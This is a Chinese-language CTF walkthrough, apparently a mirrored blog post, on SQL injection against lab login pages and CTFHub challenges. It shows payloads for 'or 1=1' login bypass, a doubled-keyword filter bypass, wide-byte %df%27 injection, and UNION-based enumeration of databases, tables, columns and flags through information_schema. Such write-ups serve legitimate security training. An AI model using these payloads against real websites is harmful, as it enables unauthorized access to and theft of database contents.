sql注入的几种方式【网络攻防CTF】(保姆级图文)

sql注入的几种方式【网络攻防CTF】(保姆级图文),第1张

目录 1. 单注入爆破字段 2. 双拼注入3. 宽字节注入4. http://192.168.12.108/sql/4/5. http://192.168.12.108/sql/5/6. 整型注入1.猜注入点(合理用户和不合理用户)2.猜表有几列(以整数型注入为例,假如找到注入用户1)3.猜数据库名(假如不合理用户-1)4.猜表名(假如不合理用户-1)5.猜列名(假如不合理用户-1)6.猜表内信息(假如不合理用户-1) 字符注入爆破数据库爆破数据表爆破flag数据flag--->ctfhub{dc0f97cad3b27299568d7938} 总结


欢迎关注 『网络攻防CTF』 系列,持续更新中
欢迎关注 『网络攻防CTF』 系列,持续更新中

题目网站(都是我们学校机房的·····大家登不上的,仅供学习思路)

1. 单注入
http://192.168.12.108/sql/1

随便输入的用户名asa和密码ad
在用户名改为asa ' or 1=1#'

登陆成功
登录成功Dumb
Dumb
ctf{hello you are so beatuifel}
SQL查询: SELECT * FROM users WHERE username='asa ' or 1=1#'' AND password='ad'
爆破字段
19145120 'union select group_concat(column_name) ,3 from information_schema.columns where table_name='flag' #


2. 双拼注入

网站会过滤一次or,所以我们要用oorr,哪怕or被过滤一次,我们还是会有or存在,密码随便输入

'oorr 1=1#


Login sucess


Hello, admin

flag{233,why_ar3_y0u_s0_lihai}

3. 宽字节注入 来到题目网站http://192.168.12.108/sql/1
随便输入用户名和密码,得到了url
http://192.168.12.108/sql/1/login.php?username=12&password=123


把url改为http://192.168.12.108/sql/1/login.php?username=12&password=123%df%27%20or%201=1%23
追加的%df%27%20or%201=1%23表示url编码的‘空格or空格1=1#’(这里的空格就是空格,一个字符,我这么写是为了方便大家理解)

常用的理解。%df一般是用来转换编码的
%df’(浏览器自动进行url编码%27)->%df%27

登录成功
登录成功Dumb
Dumb
ctf{hello you are so beatuifel}
SQL查询: SELECT * FROM users WHERE username='12' AND password='123�' or 1=1#'


4. http://192.168.12.108/sql/4/
'asa ' or 1=1#'
密码随意

登录成功Dumb
Dumb




SQL查询: SELECT * FROM users WHERE username='asa ' or 1=1#' AND password='123'

5. http://192.168.12.108/sql/5/ 6. 整型注入

ctfhub的技能树web下的整数型注入开始

1.猜注入点(合理用户和不合理用户)
http://……?id=admin' 
http://……?id=1' 

得到了:

select * from news where id=http://……?id=1'

2.猜表有几列(以整数型注入为例,假如找到注入用户1)
1 order by 2#

得知有两列

1 order by 3#……
select * from news where id=1 order by 2#
ID: 1
Data: ctfhub

3.猜数据库名(假如不合理用户-1)

如果两列

-1 union select database(),1#

得到sqli猜测是数据库名

select * from news where id=-1 union select database(),1#
ID: sqli
Data: 1

如果三列

-1 union select database(),1,2#
4.猜表名(假如不合理用户-1)

首先猜测flag是表名

如果两列


-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='数据库名'#
-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='sqli'#

得到了

select * from news where id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='数据库名'#
ID:
Data: 2

如果三列

-1 union select group_concat(table_name),1,2 from information_schema.tables where table_schema='数据库名'#
5.猜列名(假如不合理用户-1)

如果两列

-1 union select group_concat(column_name),2 from information_schema.columns where table_name='表名'#
-1 union select group_concat(column_name),2 from information_schema.columns where table_name='flag'#

得到了

select * from news where id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='表名'#
ID:
Data: 2

如果三列

-1 union select group_concat(column_name),1,2 from information_schema.columns where table_name='表名'#
6.猜表内信息(假如不合理用户-1)
下面两种都可以
-1 union select 1,flag from sqli.flag limit 0,1
-1 union select 1,(select flag from sqli.flag limit 0,1)

得到了

ID: 1
Data: ctfhub{b2415ca9a33e4e5070fa6972}
字符注入

输入1之后得到

需要让语句闭合,正常执行,在url结尾输入%23 或者--+,正常闭合,%23为#,注释后面的语句,在页面url的id=1后面加上%20%27order%20by%202%20%23

完整的urlhttp://challenge-462e80a9a142e1fa.sandbox.ctfhub.com:10800/?id=1%20%27order%20by%202%20%23

爆破数据库
19145120' union select database(),2 #


得到了数据库名为 sqli

爆破数据表
19145120' union select group_concat(table_name),3 from information_schema.tables where table_schema='sqli' #


得到表名 flag,news

爆破flag数据
19145120' union select flag,3 from sqli.flag #

flag—>ctfhub{dc0f97cad3b27299568d7938}
总结

大家喜欢的话,给个👍,点个关注!继续跟大家分享敲代码过程中遇到的问题!

版权声明:

发现你走远了@mzh原创作品,转载必须标注原文链接

Copyright 2022 mzh

Crated:2022-3-6

欢迎关注 『网络攻防CTF』 系列,持续更新中
欢迎关注 『网络攻防CTF』 系列,持续更新中
【更多内容敬请期待】


欢迎分享,转载请注明来源:内存溢出

原文地址: http://www.outofmemory.cn/sjk/991537.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存